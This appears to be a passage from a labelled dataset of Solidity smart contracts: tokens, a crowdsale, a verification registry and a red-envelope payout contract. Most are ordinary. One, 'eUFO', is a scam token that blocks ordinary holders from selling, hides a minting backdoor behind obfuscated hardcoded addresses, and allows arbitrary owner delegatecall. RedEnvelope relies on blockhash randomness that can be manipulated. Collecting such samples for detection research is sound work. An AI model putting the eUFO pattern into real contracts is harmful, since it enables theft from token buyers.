return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Diadem is StandardToken, Ownable {
string public constant name = "Diadem";
string public constant symbol = "DDM";
uint8 public constant decimals = 18;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address _to, uint256 _amount)
public onlyMintAgent canMint returns(bool)
{
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function setMintAgent(address _address, bool _state)
onlyOwner canMint public
{
mintAgents[_address] = _state;
MintingAgentChanged(_address, _state);
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender] == true);
_;
}
event Mint(address indexed to, uint256 amount);
event MintingAgentChanged(address addr, bool state);
event MintFinished();
} | 1 | 2,963 |
pragma solidity ^0.4.19;
contract CryptonomicaVerification {
mapping(address => bytes20) public fingerprint;
mapping(address => string) public unverifiedFingerprint;
mapping(address => uint) public keyCertificateValidUntil;
mapping(address => bytes32) public firstName;
mapping(address => bytes32) public lastName;
mapping(address => uint) public birthDate;
mapping(address => bytes32) public nationality;
mapping(address => uint256) public verificationAddedOn;
mapping(address => uint256) public revokedOn;
mapping(address => string) public signedString;
mapping(address => uint256) public signedStringUploadedOnUnixTime;
mapping(bytes20 => address) public addressAttached;
string public stringToSignExample = "I hereby confirm that the address <address lowercase> is my Ethereum address";
mapping(address => Verification) public verification;
struct Verification {
string fingerprint;
uint keyCertificateValidUntil;
string firstName;
string lastName;
uint birthDate;
string nationality;
uint verificationAddedOn;
uint revokedOn;
string signedString;
}
address public owner;
mapping(address => bool) public isManager;
uint public priceForVerificationInWei;
address public withdrawalAddress;
bool public withdrawalAddressFixed = false;
function CryptonomicaVerification() public {
owner = msg.sender;
isManager[msg.sender] = true;
withdrawalAddress = msg.sender;
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string){
bytes memory bytesArray = new bytes(32);
for (uint256 i; i < 32; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function uploadSignedString(string _fingerprint, bytes20 _fingerprintBytes20, string _signedString) public payable {
if (msg.value < priceForVerificationInWei) {
revert();
}
if (signedStringUploadedOnUnixTime[msg.sender] != 0) {
revert();
}
if (bytes(_fingerprint).length != 40) {
revert();
}
if (addressAttached[_fingerprintBytes20] != 0) {
revert();
}
unverifiedFingerprint[msg.sender] = _fingerprint;
signedString[msg.sender] = verification[msg.sender].signedString = _signedString;
signedStringUploadedOnUnixTime[msg.sender] = block.timestamp;
SignedStringUploaded(msg.sender, _fingerprint, _signedString);
}
event SignedStringUploaded(address indexed fromAccount, string fingerprint, string uploadedString);
function addVerificationData(
address _acc,
string _fingerprint,
bytes20 _fingerprintBytes20,
uint _keyCertificateValidUntil,
string _firstName,
string _lastName,
uint _birthDate,
string _nationality) public {
require(isManager[msg.sender]);
require(signedStringUploadedOnUnixTime[_acc] != 0);
require(verificationAddedOn[_acc] == 0);
verification[_acc].fingerprint = _fingerprint;
fingerprint[_acc] = _fingerprintBytes20;
addressAttached[_fingerprintBytes20] = _acc;
verification[_acc].keyCertificateValidUntil = keyCertificateValidUntil[_acc] = _keyCertificateValidUntil;
verification[_acc].firstName = _firstName;
firstName[_acc] = stringToBytes32(_firstName);
verification[_acc].lastName = _lastName;
lastName[_acc] = stringToBytes32(_lastName);
verification[_acc].birthDate = birthDate[_acc] = _birthDate;
verification[_acc].nationality = _nationality;
nationality[_acc] = stringToBytes32(_nationality);
verification[_acc].verificationAddedOn = verificationAddedOn[_acc] = block.timestamp;
VerificationAdded(
verification[_acc].fingerprint,
_acc,
msg.sender
);
}
event VerificationAdded (
string forFingerprint,
address indexed verifiedAccount,
address verificationAddedByAccount
);
function revokeVerification(address _acc) public {
require(msg.sender == _acc || isManager[msg.sender]);
verification[_acc].revokedOn = revokedOn[_acc] = block.timestamp;
VerificationRevoked(
_acc,
verification[_acc].fingerprint,
block.timestamp,
msg.sender
);
}
event VerificationRevoked (
address indexed revocedforAccount,
string withFingerprint,
uint revokedOnUnixTime,
address indexed revokedBy
);
address private newOwner;
function changeOwnerStart(address _newOwner) public {
require(msg.sender == owner);
newOwner = _newOwner;
ChangeOwnerStarted(msg.sender, _newOwner);
}
event ChangeOwnerStarted (address indexed startedBy, address indexed newOwner);
function changeOwnerAccept() public {
require(msg.sender == newOwner);
OwnerChanged(owner, newOwner);
owner = newOwner;
}
event OwnerChanged(address indexed from, address indexed to);
function addManager(address _acc) public {
require(msg.sender == owner);
isManager[_acc] = true;
ManagerAdded(_acc, msg.sender);
}
event ManagerAdded (address indexed added, address indexed addedBy);
function removeManager(address manager) public {
require(msg.sender == owner);
isManager[manager] = false;
ManagerRemoved(manager, msg.sender);
}
event ManagerRemoved(address indexed removed, address indexed removedBy);
function setPriceForVerification(uint priceInWei) public {
require(isManager[msg.sender]);
uint oldPrice = priceForVerificationInWei;
priceForVerificationInWei = priceInWei;
PriceChanged(oldPrice, priceForVerificationInWei, msg.sender);
}
event PriceChanged(uint from, uint to, address indexed changedBy);
function withdrawAllToWithdrawalAddress() public returns (bool) {
uint sum = this.balance;
if (!withdrawalAddress.send(this.balance)) {
Withdrawal(withdrawalAddress, sum, msg.sender, false);
return false;
}
Withdrawal(withdrawalAddress, sum, msg.sender, true);
return true;
}
event Withdrawal(address indexed to, uint sumInWei, address indexed by, bool success);
function setWithdrawalAddress(address _withdrawalAddress) public {
require(msg.sender == owner);
require(!withdrawalAddressFixed);
WithdrawalAddressChanged(withdrawalAddress, _withdrawalAddress, msg.sender);
withdrawalAddress = _withdrawalAddress;
}
event WithdrawalAddressChanged(address indexed from, address indexed to, address indexed changedBy);
function fixWithdrawalAddress(address _withdrawalAddress) public returns (bool) {
require(msg.sender == owner);
require(withdrawalAddress == _withdrawalAddress);
require(!withdrawalAddressFixed);
withdrawalAddressFixed = true;
WithdrawalAddressFixed(withdrawalAddress, msg.sender);
return true;
}
event WithdrawalAddressFixed(address withdrawalAddressFixedAs, address fixedBy);
} | 1 | 2,946 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
event OwnershipTransferred(address indexed _from, address indexed _to);
address public owner;
address public newOwner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor()
public
{
owner = msg.sender;
}
function transferOwnership(address _newOwner)
public
onlyOwner
{
newOwner = _newOwner;
}
function acceptOwnership()
public
{
require(msg.sender == newOwner);
owner = newOwner;
newOwner = address(0);
emit OwnershipTransferred(owner, newOwner);
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
function totalSupply()
public
view
returns (uint256)
{
return totalSupply_;
}
function transfer(address _to, uint256 _value)
public
returns (bool)
{
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner)
public
view
returns (uint256)
{
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract PetCoin is StandardToken, Owned {
using SafeMath for uint256;
string public constant name = "Petcoin";
string public constant symbol = "PETC";
uint256 public constant decimals = 18;
uint256 public constant initialSupply = 2340 * (10**6) * 10**decimals;
uint256 public constant stageOneSupply = (10**5) * 10**decimals;
uint256 public constant stageTwoSupply = (10**6) * 10**decimals;
uint256 public constant stageThreeSupply = (10**7) * 10**decimals;
address public constant appWallet = 0x9F6899364610B96D7718Fe3c03A6BD1Deb8623CE;
address public constant genWallet = 0x530E6B9A17e9AbB77CF4E125b99Bf5D5CAD69942;
address public constant ceoWallet = 0x388Ed3f7Aa1C4461460197FcCE5cfEf84D562c6A;
address public constant cooWallet = 0xa2c59e6a91B4E502CF8C95A61F50D3aB1AB30cBA;
address public constant devWallet = 0x7D2ea29E2d4A95f4725f52B941c518C15eAE3c64;
address public constant poolWallet = 0x7e75fe6b73993D9Be9cb975364ec70Ee2C22c13A;
uint256 public constant yearlyMintCap = (10*7) * 10*decimals;
uint16 public mintStartYear = 2019;
uint16 public mintEndYear = 2118;
mapping (uint16 => bool) minted;
constructor()
public
{
totalSupply_ = initialSupply.add(stageOneSupply).add(stageTwoSupply).add(stageThreeSupply);
uint256 oneBillion = (10**9) * 10**decimals;
uint256 oneHundredMillion = 100 * (10**6) * 10**decimals;
balances[appWallet] = oneBillion;
emit Transfer(address(0), appWallet, oneBillion);
balances[genWallet] = oneBillion;
emit Transfer(address(0), genWallet, oneBillion);
balances[ceoWallet] = oneHundredMillion;
emit Transfer(address(0), ceoWallet, oneHundredMillion);
balances[cooWallet] = oneHundredMillion;
emit Transfer(address(0), cooWallet, oneHundredMillion);
balances[devWallet] = oneHundredMillion;
emit Transfer(address(0), devWallet, oneHundredMillion);
balances[poolWallet] = initialSupply.sub(balances[appWallet])
.sub(balances[genWallet])
.sub(balances[ceoWallet])
.sub(balances[cooWallet])
.sub(balances[devWallet]);
emit Transfer(address(0), poolWallet, balances[poolWallet]);
balances[msg.sender] = stageOneSupply.add(stageTwoSupply).add(stageThreeSupply);
emit Transfer(address(0), msg.sender, balances[msg.sender]);
}
event Mint(address indexed to, uint256 amount);
function mint(
address _to
)
onlyOwner
external
returns (bool)
{
uint16 year = _getYear(now);
require (year >= mintStartYear && year <= mintEndYear && !minted[year]);
require (_to != address(0));
totalSupply_ = totalSupply_.add(yearlyMintCap);
balances[_to] = balances[_to].add(yearlyMintCap);
minted[year] = true;
emit Mint(_to, yearlyMintCap);
emit Transfer(address(0), _to, yearlyMintCap);
return true;
}
function _getYear(uint256 timestamp)
internal
pure
returns (uint16)
{
uint16 ORIGIN_YEAR = 1970;
uint256 YEAR_IN_SECONDS = 31536000;
uint256 LEAP_YEAR_IN_SECONDS = 31622400;
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = _leapYearsBefore(year) - _leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (_isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function _isLeapYear(uint16 year)
internal
pure
returns (bool)
{
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function _leapYearsBefore(uint year)
internal
pure
returns (uint)
{
year -= 1;
return year / 4 - year / 100 + year / 400;
}
}
contract PetCoinCrowdSale is Owned {
using SafeMath for uint256;
using SafeERC20 for PetCoin;
uint256 public stageOneRate = 4500;
uint256 public stageTwoRate = 3000;
uint256 public stageThreeRate = 2557;
PetCoin public token;
address public wallet;
uint256 public weiRaised;
enum TokenSaleState { NOT_STARTED, STAGE_ONE, STAGE_TWO, STAGE_THREE, COMPLETED }
TokenSaleState public state;
struct Stage {
uint256 rate;
uint256 remaining;
}
mapping(uint256 => Stage) public stages;
event TokenPurchase(
address indexed purchaser,
uint256 value,
uint256 amount
);
event Refund(
address indexed purchaser,
uint256 value
);
event MoveStage(
TokenSaleState oldState,
TokenSaleState newState
);
event RatesUpdate(
address indexed who,
uint256 stageOneRate,
uint256 stageTwoRate,
uint256 stageThreeRate
);
constructor(PetCoin _token, address _wallet)
public
{
require(_token != address(0));
require(_wallet != address(0));
token = _token;
wallet = _wallet;
state = TokenSaleState.NOT_STARTED;
stages[uint256(TokenSaleState.STAGE_ONE)] = Stage(stageOneRate, token.stageOneSupply());
stages[uint256(TokenSaleState.STAGE_TWO)] = Stage(stageTwoRate, token.stageTwoSupply());
stages[uint256(TokenSaleState.STAGE_THREE)] = Stage(stageThreeRate, token.stageThreeSupply());
}
modifier notStarted() {
require (state == TokenSaleState.NOT_STARTED);
_;
}
modifier stageOne() {
require (state == TokenSaleState.STAGE_ONE);
_;
}
modifier stageTwo() {
require (state == TokenSaleState.STAGE_TWO);
_;
}
modifier stageThree() {
require (state == TokenSaleState.STAGE_THREE);
_;
}
modifier completed() {
require (state == TokenSaleState.COMPLETED);
_;
}
modifier saleInProgress() {
require (state == TokenSaleState.STAGE_ONE || state == TokenSaleState.STAGE_TWO || state == TokenSaleState.STAGE_THREE);
_;
}
function kickoff()
external
onlyOwner
notStarted
{
_moveStage();
}
function updateRates(uint256 _stageOneRate, uint256 _stageTwoRate, uint256 _stageThreeRate)
external
onlyOwner
{
stageOneRate = _stageOneRate;
stageTwoRate = _stageTwoRate;
stageThreeRate = _stageThreeRate;
stages[uint256(TokenSaleState.STAGE_ONE)].rate = stageOneRate;
stages[uint256(TokenSaleState.STAGE_TWO)].rate = stageTwoRate;
stages[uint256(TokenSaleState.STAGE_THREE)].rate = stageThreeRate;
emit RatesUpdate(msg.sender, stageOneRate, stageTwoRate, stageThreeRate);
}
function ()
external
payable
saleInProgress
{
require(stages[uint256(state)].rate > 0);
require(stages[uint256(state)].remaining > 0);
require(msg.value > 0);
uint256 weiAmount = msg.value;
uint256 refund = 0;
uint256 tokens = weiAmount.mul(stages[uint256(state)].rate);
if (tokens > stages[uint256(state)].remaining) {
tokens = stages[uint256(state)].remaining;
weiAmount = tokens.div(stages[uint256(state)].rate);
refund = msg.value - weiAmount;
}
weiRaised = weiRaised.add(weiAmount);
emit TokenPurchase(
msg.sender,
weiAmount,
tokens
);
stages[uint256(state)].remaining -= tokens;
assert(stages[uint256(state)].remaining >= 0);
if (stages[uint256(state)].remaining == 0) {
_moveStage();
}
token.safeTransfer(msg.sender, tokens);
_forwardFunds(weiAmount);
if (refund > 0) {
msg.sender.transfer(refund);
emit Refund(
msg.sender,
refund
);
}
}
function _moveStage()
internal
{
TokenSaleState oldState = state;
if (state == TokenSaleState.NOT_STARTED) {
state = TokenSaleState.STAGE_ONE;
} else if (state == TokenSaleState.STAGE_ONE) {
state = TokenSaleState.STAGE_TWO;
} else if (state == TokenSaleState.STAGE_TWO) {
state = TokenSaleState.STAGE_THREE;
} else if (state == TokenSaleState.STAGE_THREE) {
state = TokenSaleState.COMPLETED;
}
emit MoveStage(oldState, state);
}
function _forwardFunds(uint256 weiAmount) internal {
wallet.transfer(weiAmount);
}
} | 1 | 3,899 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract eUFO {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 692 |
pragma solidity ^0.4.18;
contract RedEnvelope {
struct EnvelopeType {
uint256 maxNumber;
uint256 feeRate;
}
struct Envelope {
address maker;
address arbiter;
uint256 envelopeTypeId;
uint256 minValue;
uint256 remainingValue;
uint256 remainingNumber;
uint256 willExpireAfter;
bool random;
mapping(address => bool) tooks;
}
struct Settings {
address arbiter;
uint256 minValue;
}
event Made (
address indexed maker,
address indexed arbiter,
uint256 indexed envelopeId,
uint256 envelopeTypeId,
uint256 minValue,
uint256 total,
uint256 quantity,
uint256 willExpireAfter,
uint256 minedAt,
uint256 random
);
event Took (
address indexed taker,
uint256 indexed envelopeId,
uint256 value,
uint256 minedAt
);
event Redeemed(
address indexed maker,
uint256 indexed envelopeId,
uint256 value,
uint256 minedAt
);
Settings public settings;
address public owner;
uint256 public balanceOfEnvelopes;
mapping (address => uint256) public envelopeCounts;
mapping (uint256 => EnvelopeType) public envelopeTypes;
mapping (uint256 => Envelope) public envelopes;
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function random() view private returns (uint256) {
uint256 factor = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
bytes32 blockHash = block.blockhash(block.number - 1);
return uint256(uint256(blockHash) / factor);
}
function RedEnvelope() public {
settings = Settings(
msg.sender,
2000000000000000
);
owner = msg.sender;
}
function setSettings(address _arbiter, uint256 _minValue) onlyOwner public {
settings.arbiter = _arbiter;
settings.minValue = _minValue;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
function () payable public {}
function setEnvelopeType(uint256 _envelopeTypeId, uint256[2] _data) onlyOwner public {
envelopeTypes[_envelopeTypeId].maxNumber = _data[0];
envelopeTypes[_envelopeTypeId].feeRate = _data[1];
}
function make(uint256 _envelopeId, uint256[4] _data) payable external {
uint256 count = envelopeCounts[msg.sender] + 1;
if (uint256(keccak256(msg.sender, count)) != _envelopeId) {
revert();
}
EnvelopeType memory envelopeType = envelopeTypes[_data[0]];
if (envelopeType.maxNumber < _data[1]) {
revert();
}
uint256 total = ( msg.value * 1000 ) / ( envelopeType.feeRate + 1000 );
if (total / _data[1] < settings.minValue) {
revert();
}
Envelope memory envelope = Envelope(
msg.sender,
settings.arbiter,
_data[0],
settings.minValue,
total,
_data[1],
block.timestamp + _data[2],
_data[3] > 0
);
envelopes[_envelopeId] = envelope;
balanceOfEnvelopes += total;
envelopeCounts[msg.sender] = count;
Made(
envelope.maker,
envelope.arbiter,
_envelopeId,
envelope.envelopeTypeId,
envelope.minValue,
envelope.remainingValue,
envelope.remainingNumber,
envelope.willExpireAfter,
block.timestamp,
envelope.random ? 1 : 0
);
}
function take(uint256 _envelopeId, uint256[4] _data) external {
Envelope storage envelope = envelopes[_envelopeId];
if (envelope.willExpireAfter < block.timestamp) {
revert();
}
if (envelope.remainingNumber == 0) {
revert();
}
if (envelope.tooks[msg.sender]) {
revert();
}
if (_data[0] < block.timestamp) {
revert();
}
if (envelope.arbiter != ecrecover(keccak256(_envelopeId, _data[0], msg.sender), uint8(_data[1]), bytes32(_data[2]), bytes32(_data[3]))) {
revert();
}
uint256 value = 0;
if (!envelope.random) {
value = envelope.remainingValue / envelope.remainingNumber;
} else {
if (envelope.remainingNumber == 1) {
value = envelope.remainingValue;
} else {
uint256 maxValue = envelope.remainingValue - (envelope.remainingNumber - 1) * envelope.minValue;
uint256 avgValue = envelope.remainingValue / envelope.remainingNumber * 2;
value = avgValue < maxValue ? avgValue * random() / 100 : maxValue * random() / 100;
value = value < envelope.minValue ? envelope.minValue : value;
}
}
envelope.remainingValue -= value;
envelope.remainingNumber -= 1;
envelope.tooks[msg.sender] = true;
balanceOfEnvelopes -= value;
msg.sender.transfer(value);
Took(
msg.sender,
_envelopeId,
value,
block.timestamp
);
}
function redeem(uint256 _envelopeId) external {
Envelope storage envelope = envelopes[_envelopeId];
if (envelope.willExpireAfter >= block.timestamp) {
revert();
}
